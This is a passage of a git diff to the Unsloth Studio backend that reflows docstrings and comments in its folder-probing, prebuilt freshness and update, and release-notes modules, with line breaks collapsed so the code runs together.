STATUS_OK:return status, cause or subdir@@ -92,30 +77,18 @@ def probe_folder(path: str, *, children: bool = False) -> tuple[str, Optional[stdef probe_status(path: str, *, children: bool = False) -> str:- """Open ``path`` and report what the OS says. No walking.-- With ``children``, also open what is under it. A root can list fine while the- models below it are denied, and the scanners skip an unreadable entry- silently, so both arrive as the same empty list.- """+ """Open ``path`` and report what the OS says, without walking. With ``children``, also open what is under it: a root can list fine while the models below it are denied, and the scanners skip an unreadable entry silently, so both arrive as the same empty list."""return probe_folder(path, children = children)[0]def is_readable_dir(path: str) -> bool:- """True only if ``path`` can actually be listed.-- ``os.access`` answers from mode bits alone, so it returns True for a- directory macOS TCC or a Windows ACL still refuses. Opening the directory is- the authoritative answer and costs one syscall on a path the user just picked.- """+ """True only if ``path`` can actually be listed. ``os.access`` answers from mode bits alone, so it returns True for a directory macOS TCC or a Windows ACL still refuses; opening the directory is the authoritative answer and costs one syscall on a path the user just picked."""if not os.access(path, os.R_OK | os.X_OK):return Falsereturn probe_status(path) == STATUS_OK-# Windows reports the real reason in ``winerror``: CPython folds ERROR_NOT_READY, ERROR_CRC and every media failure onto-# EACCES, so an ejected card reader reads as a permissions problem.-# ``errno`` is a lossy translation, and CPython's PC/errmap.h folds ERROR_GEN_FAILURE onto EACCES as well.+# Windows reports the real reason in ``winerror``: CPython folds ERROR_NOT_READY, ERROR_CRC and every media failure onto EACCES, so an ejected card reader reads as a permissions problem. ``errno`` is a lossy translation, and CPython's PC/errmap.h folds ERROR_GEN_FAILURE onto EACCES as well._WINDOWS_PERMISSION = frozenset((5, 65, 1314))_WINDOWS_MISSING = frozenset((2, 3, 15, 20, 21, 53, 55, 67, 161, 206, 267))@@ -135,9 +108,7 @@ def classify_scan_error(error: OSError) -> str:return STATUS_UNREADABLE-# Read on every folder list, written only when a probe finds something wrong.-# Each value is (status, the directory that refused), so a recheck can settle a folder in one open instead of walking it-# again. Bounded by the folder count.+# Read on every folder list, written only when a probe finds something wrong. Each value is (status, the directory that refused), so a recheck can settle a folder in one open instead of walking it again. Bounded by the folder count._MAX_TRACKED = 256_failed: dict[str, tuple[str, str]] = {}@@ -160,35 +131,23 @@ def clear_scan_failure(path: str) -> None:def note_scan_folder_scanned(path: str, *, found: bool) -> None:- """Record the outcome of a scan of ``path``.-- Empty, gone, refused, or working with one model refused: the scanners return- the same list for all of them, because they swallow the error per entry. So- ask the OS instead of trying to read it back out of them. Bounded by- ``_PROBE_OPEN_LIMIT`` opens per folder.- """+ """Record the outcome of a scan of ``path``. Empty, gone, refused, or working with one model refused: the scanners return the same list for all of them, because they swallow the error per entry, so ask the OS instead of trying to read it back out of them. Bounded by ``_PROBE_OPEN_LIMIT`` opens per folder."""status, cause = probe_folder(path, children = True)if status == STATUS_UNKNOWN:- # Budget gone before the tail was reached, so this proves nothing either- # way. Settle it on the one directory that refused last time.+ # Budget gone before the tail was reached, so this proves nothing either way. Settle it on the one directory that refused last time._recheck_cause(path)returnif status == STATUS_OK:clear_scan_failure(path)return- # Models came back, so the folder itself is fine and only part of it is- # refused. Saying it cannot be read would contradict the rows on screen.+ # Models came back, so the folder itself is fine and only part of it is refused. Saying it cannot be read would contradict the rows on screen.if found:status = STATUS_PARTIAL_record(path, status, cause or path)def _recheck_cause(path: str) -> None:- """Clear ``path`` if the directory that refused last time opens now.-- One open, and it does not depend on the probe reaching that directory again,- so recovery works on a folder too wide to walk inside the budget.- """+ """Clear ``path`` if the directory that refused last time opens now. One open, and it does not depend on the probe reaching that directory again, so recovery works on a folder too wide to walk inside the budget."""entry = _failed.get(path)if entry is None:return@@ -205,12 +164,7 @@ def scan_folder_status(path: str) -> str:def refresh_failed_scan_folders(folders: list[dict]) -> None:- """Re-check the folders currently marked bad, and only those.-- The row tells the user to fix permissions and reopen the dialog, so reopening- has to be able to clear it. Nothing else rechecks between inventory scans.- A healthy folder is not in the registry, so it is never opened here.- """+ """Re-check the folders currently marked bad, and only those. The row tells the user to fix permissions and reopen the dialog, so reopening has to be able to clear it, and nothing else rechecks between inventory scans. A healthy folder is not in the registry, so it is never opened here."""if not _failed:returnfor folder in folders:diff --git a/studio/backend/utils/prebuilt/freshness_flow.py b/studio/backend/utils/prebuilt/freshness_flow.pyindex cab1110bf37..32938815485 100644--- a/studio/backend/utils/prebuilt/freshness_flow.py+++ b/studio/backend/utils/prebuilt/freshness_flow.py@@ -1,14 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Shared mechanics of the llama.cpp / whisper.cpp prebuilt freshness checks.--The component modules (utils.llama_cpp_freshness / utils.whisper_cpp_freshness)-keep their public names, per-module caches, and version-comparison policy;-everything mechanical (marker walk-up, GitHub release fetch, memo + disk cache,-the freshness report skeleton) lives here, parameterized by call-time callables-so the modules' monkeypatch seams keep working.-"""+"""Shared mechanics of the llama.cpp / whisper.cpp prebuilt freshness checks. The component modules (utils.llama_cpp_freshness / utils.whisper_cpp_freshness) keep their public names, per-module caches and version-comparison policy; everything mechanical (marker walk-up, GitHub release fetch, memo + disk cache, the freshness report skeleton) lives here, parameterized by call-time callables so the modules' monkeypatch seams keep working."""from __future__ import annotations@@ -35,13 +28,7 @@ def read_install_marker(cache: dict[str, Optional[dict]],log_message: str,) -> Optional[dict]:- """Walk up from binary_path to find the install marker JSON.- None = no marker (source build / custom path) or unusable JSON.-- "Unusable" includes JSON that parses but is not an object. A marker holding ``[]``- or ``123`` reaches every caller as something without ``.get``, and each of them --- the update planner, the backend picker, crash recovery -- then raises AttributeError- on what is only a corrupt file. Treat it exactly like unparseable JSON: no marker."""+ """Walk up from binary_path to find the install marker JSON. None = no marker (source build / custom path) or unusable JSON. "Unusable" includes JSON that parses but is not an object: a marker holding ``[]`` or ``123`` reaches every caller as something without ``.get``, and the update planner, the backend picker and crash recovery then raise AttributeError on what is only a corrupt file."""if not binary_path:return Nonecached = cache.get(binary_path)@@ -108,12 +95,7 @@ def save_disk_cache(def _fetch_newest_published_release(repo: str, timeout: float, *, log_message: str) -> Optional[dict]:- """Newest published release object for `repo`, bounded by a wall-clock deadline.-- Not redundant with `timeout`: urllib applies that per address, so a host whose leading- addresses blackhole pays it once for each. /api/inference/status reads this, and that- multiplication becomes the route's response time.- """+ """Newest published release object for `repo`, bounded by a wall-clock deadline. Not redundant with `timeout`: urllib applies that per address, so a host whose leading addresses blackhole pays it once for each, and /api/inference/status reads this, so that multiplication becomes the route's response time."""from utils.utils import call_with_deadlinetry:return call_with_deadline(@@ -131,13 +113,7 @@ def _fetch_newest_published_release(def _fetch_newest_published_release_blocking(repo: str, timeout: float, *, log_message: str) -> Optional[dict]:- """Newest published (non-draft/non-prerelease) release object for `repo`, by- ``published_at``.-- Resolves "latest" the way the installers do, NOT via GitHub's- ``/releases/latest`` pointer, which sorts by commit date and can lag the- build the installer installs (detection and apply then disagree -- the- downgrade/sticky-banner bug). None on any failure (offline, rate-limited)."""+ """Newest published (non-draft, non-prerelease) release object for `repo`, by ``published_at``. Resolves "latest" the way the installers do, NOT via GitHub's ``/releases/latest`` pointer, which sorts by commit date and can lag the build the installer installs, making detection and apply disagree (the downgrade / sticky-banner bug). None on any failure (offline, rate-limited)."""import osimport urllib.errorimport urllib.request@@ -195,8 +171,7 @@ def fetch_latest_release_assets(*,log_message: str,) -> Optional[dict[str, int]]:- """Asset name -> size (bytes) for the newest published release of `repo`,- selected exactly like fetch_latest_release_tag. None on any failure."""+ """Asset name -> size (bytes) for the newest published release of `repo`, selected exactly like fetch_latest_release_tag. None on any failure."""newest = _fetch_newest_published_release(repo, timeout, log_message = log_message)if newest is None:return None@@ -218,16 +193,10 @@ def latest_published_release(save: Callable[[str, Optional[str]], None],failed_at: Optional[dict[str, float]] = None,) -> Optional[str]:- """Latest release tag with optional short-lived failure caching.-- Successes use the 24h memory and disk cache. Supplying ``failed_at`` also- caches failures for ``RELEASE_FAILURE_CACHE_TTL_SECONDS``; omitting it keeps- retry-on-every-call behavior.- """+ """Latest release tag with optional short-lived failure caching. Successes use the 24h memory and disk cache; supplying ``failed_at`` also caches failures for ``RELEASE_FAILURE_CACHE_TTL_SECONDS``, while omitting it keeps retry-on-every-call behavior."""if not repo:return None- # Success timestamps persist to disk and need wall time. Failure timestamps- # are process-local and use monotonic time so clock changes cannot extend them.+ # Success timestamps persist to disk and need wall time. Failure timestamps are process-local and use monotonic time so clock changes cannot extend them.wall_now = time.time()if not force_refresh:last_failure = failed_at.get(repo) if failed_at is not None else None@@ -271,8 +240,7 @@ def latest_release_assets(memo: dict[str, tuple[float, dict[str, int]]],fetch: Callable[[str], Optional[dict[str, int]]],) -> Optional[dict[str, int]]:- """Newest-release asset sizes for `repo`, memoized (24h TTL). None when- offline and never fetched. In-memory only -- a restart re-fetches."""+ """Newest-release asset sizes for `repo`, memoized (24h TTL). None when offline and never fetched. In-memory only, so a restart re-fetches."""if not repo:return Nonenow = time.time()@@ -312,9 +280,7 @@ def check_freshness(display_tag: Callable[[dict], Any],compare_tag: Callable[[dict], Any],) -> dict:- """Freshness report skeleton shared by both components; the component's- marker-tag choice and is_behind policy come in as callables. Fails open on- missing data (behind/stale stay False)."""+ """Freshness report skeleton shared by both components; the component's marker-tag choice and is_behind policy come in as callables. Fails open on missing data (behind/stale stay False)."""out: dict = {"has_marker": False,"stale": False,@@ -371,13 +337,11 @@ def format_stale_warning(info: dict, *, component: str) -> str:def reset_caches(caches: tuple[dict, ...], *, drop_disk: bool, cache_dir: Callable[[], Path]) -> None:- """Drop the in-memory freshness caches; with drop_disk also the on-disk 24h- release cache (see the component modules for why)."""+ """Drop the in-memory freshness caches; with drop_disk also the on-disk 24h release cache (see the component modules for why)."""for cache in caches:cache.clear()if drop_disk:import shutil- # cache_dir() is a freshness-only subdir re-created on the next save_disk_cache, and- # ignore_errors so a missing or locked dir cannot break an otherwise successful install.+ # cache_dir() is a freshness-only subdir re-created on the next save_disk_cache, and ignore_errors so a missing or locked dir cannot break an otherwise successful install.shutil.rmtree(cache_dir(), ignore_errors = True)diff --git a/studio/backend/utils/prebuilt/update_flow.py b/studio/backend/utils/prebuilt/update_flow.pyindex bdef55fc069..b2437793633 100644--- a/studio/backend/utils/prebuilt/update_flow.py+++ b/studio/backend/utils/prebuilt/update_flow.py@@ -1,14 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Shared mechanics of the llama.cpp / whisper.cpp in-app prebuilt updates.--The component modules (utils.llama_cpp_update / utils.whisper_cpp_update) keep-their public names, job dicts, and update policy (version comparison, pinning,-pre/post install steps); everything mechanical (managed-root resolution,-local-link detection, the resolve probe, the streamed installer run) lives here,-parameterized so the modules' monkeypatch seams keep working.-"""+"""Shared mechanics of the llama.cpp / whisper.cpp in-app prebuilt updates. The component modules (utils.llama_cpp_update / utils.whisper_cpp_update) keep their public names, job dicts, and update policy (version comparison, pinning, pre/post install steps); everything mechanical (managed-root resolution, local-link detection, the resolve probe, the streamed installer run) lives here, parameterized so the modules' monkeypatch seams keep working."""from __future__ import annotations@@ -29,12 +22,10 @@ from utils.process_lifetime import adopt_pid, child_popen_kwargs, forget_pid, telogger = structlog.get_logger(__name__)-# Markerless (source-build) resolve answers are memoized for 24h; only-# successful answers are cached so a network blip retries.+# Markerless (source-build) resolve answers are memoized for 24h; only successful answers are cached so a network blip retries.RESOLVE_TTL_SECONDS = 24 * 60 * 60-# Matches the installer's download progress lines, e.g.-# "Downloading x.zip: 35.0% (12.3 MiB/35.1 MiB) at 8.2 MiB/s".+# Matches the installer's download progress lines, e.g. "Downloading x.zip: 35.0% (12.3 MiB/35.1 MiB) at 8.2 MiB/s".PROGRESS_LINE_RE = re.compile(r"(\d+(?:\.\d+)?)%\s*\(")# The installer announces each server it starts to validate a build.CHILD_PID_LINE_RE = re.compile(r"\AUNSLOTH_INSTALLER_CHILD (started|stopped) (\d+)\Z")@@ -43,41 +34,26 @@ DOWNLOAD_PROGRESS_CEILING = 0.95class InstallerExit(RuntimeError):- """Installer subprocess exited nonzero; carries the exit code so phase- runners can special-case contractual codes (whisper's 2 = unavailable)."""+ """Installer subprocess exited nonzero; carries the exit code so phase runners can special-case contractual codes (whisper's 2 = unavailable)."""def __init__(self, returncode: int, message: str) -> None:super().__init__(message)self.returncode = returncode-# Any installer log line. whisper.cpp updates run through this same helper, so-# the component is matched as a pattern rather than llama's alone. The prefix is-# also what separates the installer's own lines from the unprefixed system-# report it prints after them.+# Any installer log line. whisper.cpp updates run through this same helper, so the component is matched as a pattern rather than llama's alone. The prefix is also what separates the installer's own lines from the unprefixed system report it prints after them._PREBUILT_LOG_RE = re.compile(r"^\[[\w.-]+-prebuilt\]\s?(?P<body>.*)$")-# The verdict line an installer logs before it exits: "prebuilt fallback-# reason:", "prebuilt install failed:", "prebuilt install refused:", "prebuilt-# busy reason:", "fatal helper error:", "fatal helper busy conflict:".+# The verdict line an installer logs before it exits: "prebuilt fallback reason:", "prebuilt install failed:", "prebuilt install refused:", "prebuilt busy reason:", "fatal helper error:", "fatal helper busy conflict:"._PREBUILT_VERDICT_RE = re.compile(r"^(?:prebuilt\b[^:]*\b(?:reason|failed|refused)"r"|fatal helper (?:error|busy conflict)):\s*(?P<detail>.*)$")-# A multi-line reason (the preflight failure lists one library per line) is-# logged one prefixed line at a time, so a verdict owns the prefixed lines that-# follow it. Bounded because only the installer's own framing bounds them.+# A multi-line reason (the preflight failure lists one library per line) is logged one prefixed line at a time, so a verdict owns the prefixed lines that follow it. Bounded because only the installer's own framing bounds them._VERDICT_CONTINUATION_LIMIT = 8def is_github_rate_limit_text(text: str) -> bool:- """Whether installer output blames a GitHub API rate limit.-- Both halves are required. huggingface.co rate-limits the validation model- download with its own 429, and that failure also reaches the updater as- installer exit 2, so rate-limit wording alone would hand a user GH_TOKEN- advice that cannot fix it. GitHub itself answers an exceeded primary or- secondary limit with 403 or 429.- """+ """Whether installer output blames a GitHub API rate limit. Both halves are required: huggingface.co rate-limits the validation model download with its own 429, and that failure also reaches the updater as installer exit 2, so rate-limit wording alone would hand a user GH_TOKEN advice that cannot fix it. GitHub itself answers an exceeded primary or secondary limit with 403 or 429."""lowered = text.lower()if "github" not in lowered:return False@@ -96,35 +72,20 @@ def github_token_present(env: Optional[dict] = None) -> bool:def github_rate_limit_advice(token_present: bool) -> str:- """What the user can actually do about the rate limit they just hit.-- An authenticated run has already spent the larger quota, or tripped a- secondary limit, and telling it to set the token it is holding is advice it- cannot act on. The installer draws the same distinction: fetch_json only- appends the token hint when neither variable is set.- """+ """What the user can actually do about the rate limit they just hit. An authenticated run has already spent the larger quota, or tripped a secondary limit, and telling it to set the token it is holding is advice it cannot act on. The installer draws the same distinction: fetch_json only appends the token hint when neither variable is set."""if token_present:return "Wait for the limit to reset and try again."return "Set GH_TOKEN or GITHUB_TOKEN to avoid GitHub API rate limits."def _installer_verdict(lines: Sequence[str]) -> str | None:- """The reason the installer exited on, with its continuation lines.-- The installer logs that reason before dumping a long system report (Windows- PATH lines, nvidia-smi, ldd), so a raw tail hides rate-limit and network- errors behind noise (#9970). The last verdict wins: it is the one the- installer exited on, while an earlier rate-limit retry may have succeeded on- a later attempt. An unprefixed line ends a verdict, which is where the- system report begins.- """+ """The reason the installer exited on, with its continuation lines. The installer logs that reason before dumping a long system report (Windows PATH lines, nvidia-smi, ldd), so a raw tail hides rate-limit and network errors behind noise (#9970). The last verdict wins: it is the one the installer exited on, while an earlier rate-limit retry may have succeeded on a later attempt. An unprefixed line ends a verdict, which is where the system report begins."""verdict: list[str] | None = Noneopen_block: list[str] | None = Nonefor line in lines:stripped = line.strip()if CHILD_PID_LINE_RE.match(stripped) is not None:- # A grandchild announcement is protocol, not output: it can land- # between a reason and its continuation lines without ending either.+ # A grandchild announcement is protocol, not output: it can land between a reason and its continuation lines without ending either.continuelog_line = _PREBUILT_LOG_RE.match(stripped)if log_line is None:@@ -149,15 +110,7 @@ def format_installer_failure_message(hint_lines: Sequence[str] = (),env: Optional[dict] = None,) -> str:- """Build an installer failure message that prefers the verdict over tail noise.-- *verdict_lines* and *hint_lines* are what stream_installer kept as they- streamed: the system report is long enough on a Linux CUDA host to push the- reason out of the bounded tail, so the tail alone is not a reliable place to- find it. A rate-limit hint only annotates the tail, because the run may have- retried past it and died of something else entirely. *env* is the- environment the installer ran with, which decides the rate-limit advice.- """+ """Build an installer failure message that prefers the verdict over tail noise. *verdict_lines* and *hint_lines* are what stream_installer kept as they streamed: the system report is long enough on a Linux CUDA host to push the reason out of the bounded tail, so the tail alone is not a reliable place to find it. A rate-limit hint only annotates the tail, because the run may have retried past it and died of something else entirely. *env* is the environment the installer ran with, which decides the rate-limit advice."""advice = github_rate_limit_advice(github_token_present(env))detail = _installer_verdict(verdict_lines) or _installer_verdict(lines)if detail:@@ -182,7 +135,6 @@ JOB_RUNNING = "running"JOB_SUCCESS = "success"JOB_ERROR = "error"-# Per-phase states inside a chained job's "phases" breakdown.PHASE_PENDING = "pending"PHASE_RUNNING = "running"PHASE_SUCCESS = "success"@@ -229,9 +181,7 @@ def is_under(path: Path, root: Path) -> bool:def install_dir_for(binary_path: Optional[str], *, marker_name: str) -> Optional[Path]:- """The directory holding the install marker: the install root the installer- wrote and the one we re-install into. Walks up from the binary like the- freshness marker reader does."""+ """The directory holding the install marker: the install root the installer wrote and the one we re-install into. Walks up from the binary like the freshness marker reader does."""if not binary_path:return Nonep = Path(binary_path)@@ -242,9 +192,7 @@ def install_dir_for(binary_path: Optional[str], *, marker_name: str) -> Optionaldef find_installer_script(*, env_var: str, script_name: str) -> Optional[Path]:- """Locate the installer script. Honours the env override, then searches up- from this file for both ``<root>/<script>`` and ``<root>/studio/<script>`` so- it works in the dev tree and in an installed Unsloth layout."""+ """Locate the installer script. Honours the env override, then searches up from this file for both ``<root>/<script>`` and ``<root>/studio/<script>`` so it works in the dev tree and in an installed Unsloth layout."""env = os.environ.get(env_var)if env and Path(env).is_file():return Path(env)@@ -266,14 +214,7 @@ def resolve_prebuilt_for_host(mode: tuple[str, ...] = ("--resolve-prebuilt", "latest"),extra_env: Optional[dict[str, str]] = None,) -> Optional[dict]:- """Run one of the installer's read-only resolvers (``--resolve-prebuilt latest``- by default) with ``--output-format json``; return the parsed payload or None.- Fail-open: any error -> None so a source build never blocks the app.-- ``extra_env`` carries what the resolver cannot re-derive: the arch a previous- install recorded, which setup forwarded from a probe this subprocess does not- have. Part of the cache key, so changing it re-resolves rather than replaying a- value found without it."""+ """Run one of the installer's read-only resolvers (``--resolve-prebuilt latest`` by default) with ``--output-format json``; return the parsed payload or None. Fail-open: any error -> None so a source build never blocks the app. ``extra_env`` carries what the resolver cannot re-derive: the arch a previous install recorded, which setup forwarded from a probe this subprocess does not have. Part of the cache key, so changing it re-resolves rather than replaying a value found without it."""now = time.time()cache_key = (*mode, *extra_args, *sorted((extra_env or {}).items()))if not force_refresh and memo.get("key") == cache_key:@@ -315,9 +256,7 @@ def resolve_prebuilt_for_host(def is_external_link(path: Optional[Path]) -> bool:- """True when ``path`` is a locally-linked component dir: a POSIX symlink or a- Windows junction / reparse point. Such a link resolves into the user's own- checkout, so Unsloth must never auto-update it."""+ """True when ``path`` is a locally-linked component dir: a POSIX symlink or a Windows junction / reparse point. Such a link resolves into the user's own checkout, so Unsloth must never auto-update it."""if path is None:return Falsetry:@@ -336,11 +275,7 @@ def is_external_link(path: Optional[Path]) -> bool:def active_install_is_local_link(binary: Optional[str], *, dir_name: str) -> bool:- """True when the active server binary resolves through a locally-linked- component directory. An update would write through that link into the user's- checkout (or fail), so the install is treated as externally managed: none is- offered or applied. Checks only up to and including the component dir so a- symlinked HOME / studio root above it can't trip a false positive."""+ """True when the active server binary resolves through a locally-linked component directory. An update would write through that link into the user's checkout (or fail), so the install is treated as externally managed: none is offered or applied. Checks only up to and including the component dir so a symlinked HOME / studio root above it can't trip a false positive."""if not binary:return Falsefor parent in Path(binary).parents:@@ -359,17 +294,12 @@ def managed_install_root(cpp_path_var: str,dir_name: str,) -> Optional[Path]:- """The Unsloth-managed component root the active binary lives under, or None- when unmanaged. Installing where the active binary is not would not replace- what discovery runs (a pinned server path, then the custom dir, then a- component tree), so we refuse rather than install into an inactive or foreign- tree."""+ """The Unsloth-managed component root the active binary lives under, or None when unmanaged. Installing where the active binary is not would not replace what discovery runs (a pinned server path, then the custom dir, then a component tree), so we refuse rather than install into an inactive or foreign tree."""if marker_root is not None:return marker_rootif not binary:return None- # The server-path pin is an explicit user choice that wins in discovery, so never auto-replace- # its tree, even the user's own checkout.+ # The server-path pin is an explicit user choice that wins in discovery, so never auto-replace its tree, even the user's own checkout.if os.environ.get(server_path_var):return Nonep = Path(binary)@@ -404,10 +334,7 @@ def local_link_status(job: dict, job_lock: threading.Lock) -> dict:def rocm_install_args(asset: Optional[str]) -> list[str]:- """Forward --rocm-gfx/--has-rocm from the marker asset, mirroring setup.sh.- The installer probe can miss the gfx arch on amd-smi-only hosts; per-gfx ROCm- bundles carry the family in the name (rocm-gfx110X), version-tagged bundles- only rocm/hip."""+ """Forward --rocm-gfx/--has-rocm from the marker asset, mirroring setup.sh. The installer probe can miss the gfx arch on amd-smi-only hosts; per-gfx ROCm bundles carry the family in the name (rocm-gfx110X), version-tagged bundles only rocm/hip."""if not asset:return []low = asset.lower()@@ -420,14 +347,7 @@ def rocm_install_args(asset: Optional[str]) -> list[str]:class AnnouncedChildren:- """The pids the installer reported started, drained one at a time.-- Two threads drain it: the timeout watchdog, and the reader thread in its- `finally` (``Timer.cancel()`` does not stop a callback that has already- begun). A bare ``while pids: pids.pop()`` raises KeyError out of the loser- of that race, replacing the installer error the caller is meant to see, so- emptiness and the take are decided together.- """+ """The pids the installer reported started, drained one at a time. Two threads drain it: the timeout watchdog, and the reader thread in its `finally` (``Timer.cancel()`` does not stop a callback that has already begun). A bare ``while pids: pids.pop()`` raises KeyError out of the loser of that race, replacing the installer error the caller is meant to see, so emptiness and the take are decided together."""def __init__(self) -> None:self._lock = threading.Lock()@@ -456,9 +376,7 @@ def stream_installer(job_lock: Optional[threading.Lock] = None,set_progress: Optional[Callable[[float], None]] = None,) -> None:- """Run the installer, streaming its progress lines into job["progress"]- (or through set_progress when given, e.g. a chained-phase progress window).- Raises RuntimeError on timeout or a nonzero exit (with an output tail)."""+ """Run the installer, streaming its progress lines into job["progress"] (or through set_progress when given, e.g. a chained-phase progress window). Raises RuntimeError on timeout or a nonzero exit (with an output tail)."""if set_progress is None:assert job is not None and job_lock is not None@@ -475,20 +393,17 @@ def stream_installer(errors = "replace",# Make the Python child emit the UTF-8 we decode above.env = utf8_child_env(env),- # Deliberately NOT start_new_session: the desktop stop path force-kills this process group, and a session of its- # own would leave the installer rewriting files after the app reports stopped.+ # Deliberately NOT start_new_session: the desktop stop path force-kills this process group, and a session of its own would leave the installer rewriting files after the app reports stopped.**child_popen_kwargs(),)- # The kwargs above are empty on macOS, so record it: an installer that- # outlives its owner keeps replacing files under the next launch.+ # The kwargs above are empty on macOS, so record it: an installer that outlives its owner keeps replacing files under the next launch.adopt_pid(proc.pid)timed_out = threading.Event()announced = AnnouncedChildren()def _stop_announced() -> None:- # This process keeps running after an installer error, so no startup sweep is coming: a validation server left- # here holds the GPU and the staged files through the retry.+ # This process keeps running after an installer error, so no startup sweep is coming: a validation server left here holds the GPU and the staged files through the retry.while True:pid = announced.take()if pid is None:@@ -504,9 +419,7 @@ def stream_installer(watchdog.daemon = Truewatchdog.start()tail_lines: list[str] = []- # Two buckets, not one: a run can log a dozen rate-limit retries before the- # verdict line, and a single capped list would fill with retries and drop the- # verdict, which is the line the user needs.+ # Two buckets, not one: a run can log a dozen rate-limit retries before the verdict line, and a single capped list would fill with retries and drop the verdict, which is the line the user needs.verdict_lines: list[str] = []hint_lines: list[str] = []open_verdict = False@@ -528,15 +441,13 @@ def stream_installer(if len(verdict_lines) <= _VERDICT_CONTINUATION_LIMIT:verdict_lines.append(line)elif body is None and child_line is None:- # Where the unprefixed system report starts, the verdict ends.- # A grandchild announcement is protocol, not output, and never ends one.+ # Where the unprefixed system report starts, the verdict ends. A grandchild announcement is protocol, not output, and never ends one.open_verdict = Falseif not open_verdict and len(hint_lines) < 4 and is_github_rate_limit_text(line):hint_lines.append(line)child = child_lineif child is not None:- # Recorded while it runs and dropped when the installer says it stopped; one it never got to report- # stays for the sweep.+ # Recorded while it runs and dropped when the installer says it stopped; one it never got to report stays for the sweep.started, child_pid = child.group(1) == "started", int(child.group(2))if started:adopt_pid(child_pid)@@ -554,8 +465,7 @@ def stream_installer(watchdog.cancel()if proc.poll() is not None:forget_pid(proc.pid)- # Anything it started and never reported as stopped, whether it timed out, exited nonzero, or- # died mid-line.+ # Anything it started and never reported as stopped, whether it timed out, exited nonzero, or died mid-line._stop_announced()if timed_out.is_set():raise RuntimeError(f"installer timed out after {timeout_seconds}s")@@ -583,16 +493,7 @@ def _new_phase_record(spec: dict) -> dict:def run_chained_update(phases: list[dict], *, job: dict, job_lock: threading.Lock) -> None:- """Run update phases in order into one shared job dict (the worker of a- combined llama+whisper apply).-- Each phase spec: ``name`` (breakdown key), ``weight`` (progress slice,- normalized over runnable phases), ``run`` (callable(set_progress) -> result- dict with to_tag/reload_required/message, raises on failure; None = skipped)- and ``skip_reason`` / ``failure_message``. A failing phase aborts the chain:- later phases are marked skipped (reason "aborted") and the job goes to error,- keeping the reload_required and messages of already-succeeded phases so a- partial success stays visible."""+ """Run update phases in order into one shared job dict (the worker of a combined llama+whisper apply). Each phase spec: ``name`` (breakdown key), ``weight`` (progress slice, normalized over runnable phases), ``run`` (callable(set_progress) -> result dict with to_tag/reload_required/message, raises on failure; None = skipped) and ``skip_reason`` / ``failure_message``. A failing phase aborts the chain: later phases are marked skipped (reason "aborted") and the job goes to error, keeping the reload_required and messages of already-succeeded phases so a partial success stays visible."""runnable = [p for p in phases if p.get("run") is not None]total_weight = sum(float(p.get("weight") or 1.0) for p in runnable) or 1.0with job_lock:@@ -634,8 +535,7 @@ def run_chained_update(phases: list[dict], *, job: dict, job_lock: threading.Locfor later in phases[index + 1 :]:if later.get("run") is not None:job["phases"][later["name"]].update(state = PHASE_SKIPPED, reason = "aborted")- # A partial success keeps its messages and reload_required so the- # caller sees the earlier phase did land.+ # A partial success keeps its messages and reload_required so the caller sees the earlier phase did land.job.update(state = JOB_ERROR,message = " ".join(done_messages + [failure]),@@ -650,7 +550,6 @@ def run_chained_update(phases: list[dict], *, job: dict, job_lock: threading.Locoffset += weightwith job_lock:if result.get("skipped"):- # Skipped with a reason.job["phases"][name].update(state = PHASE_SKIPPED,reason = result.get("skip_reason") or "up_to_date",@@ -664,9 +563,7 @@ def run_chained_update(phases: list[dict], *, job: dict, job_lock: threading.Loc)if result.get("message"):done_messages.append(result["message"])- # Only phases affecting the primary llama server may raise the job-level reload flag: the- # frontend resyncs chat model state off it, and a whisper-only sidecar reload must not clear- # the chat checkpoint. Per-phase reload_required stays visible under job["phases"].+ # Only phases affecting the primary llama server may raise the job-level reload flag: the frontend resyncs chat model state off it, and a whisper-only sidecar reload must not clear the chat checkpoint. Per-phase reload_required stays visible under job["phases"].if phase.get("affects_job_reload", True):reload_required = reload_required or bool(result.get("reload_required"))# The legacy job-level to_tag means "the llama build now installed"diff --git a/studio/backend/utils/release_notes.py b/studio/backend/utils/release_notes.pyindex 08473c8a6af..6b88905433f 100644--- a/studio/backend/utils/release_notes.py+++ b/studio/backend/utils/release_notes.py@@ -1,14 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Release notes for the update popup, taken from the newest GitHub release.--Only the announcement is shown: the install instructions, the generated "What's-Changed" and "New Contributors" lists, the "Full Changelog" line and the-appended build provenance are stripped, wherever they were written.--The fetch is lazy, cached, and skipped when update checks are off.-"""+"""Release notes for the update popup, taken from the newest GitHub release. Only the announcement is shown: the install instructions, the generated "What's Changed" and "New Contributors" lists, the "Full Changelog" line and the appended build provenance are stripped, wherever they were written. The fetch is lazy, cached, and skipped when update checks are off."""from __future__ import annotations@@ -26,8 +19,7 @@ from packaging.version import InvalidVersion, Versionfrom .update_status import DISABLE_ENV_VAR, RELEASE_NOTES_URL-# A release entry carries its whole body (~40 KiB lately), so per_page=100 would be ~4 MiB, twice-# the cap below, and the fetch would fail outright. 30 is ~1.2 MiB, newest first.+# A release entry carries its whole body (~40 KiB lately), so per_page=100 would be ~4 MiB, twice the cap below, and the fetch would fail outright. 30 is ~1.2 MiB, newest first.RELEASES_API_URL = "https://api.github.com/repos/unslothai/unsloth/releases?per_page=30"RELEASES_URL_ENV_VAR = "UNSLOTH_RELEASES_URL"RELEASES_TIMEOUT_SECONDS = 3@@ -36,21 +28,16 @@ _RELEASES_CHUNK_BYTES = 64 * 1024_RELEASES_MIN_READ_SECONDS = 0.05RELEASES_SUCCESS_TTL_SECONDS = 30 * 60RELEASES_FAILURE_TTL_SECONDS = 5 * 60-# Unauthenticated callers get 60 requests an hour per IP, so a spent address backs off instead of-# retrying every 5 minutes. Used when the response carries no reset to wait for.+# Unauthenticated callers get 60 requests an hour per IP, so a spent address backs off instead of retrying every 5 minutes. Used when the response carries no reset to wait for.RELEASES_RATE_LIMITED_TTL_SECONDS = 15 * 60-# GitHub's X-RateLimit-Reset wins over the back-off above, but the window is an hour, so a skewed-# or proxied header is held to that ceiling rather than trusted outright.+# GitHub's X-RateLimit-Reset wins over the back-off above, but the window is an hour, so a skewed or proxied header is held to that ceiling rather than trusted outright.RELEASES_RATE_LIMIT_MAX_SECONDS = 60 * 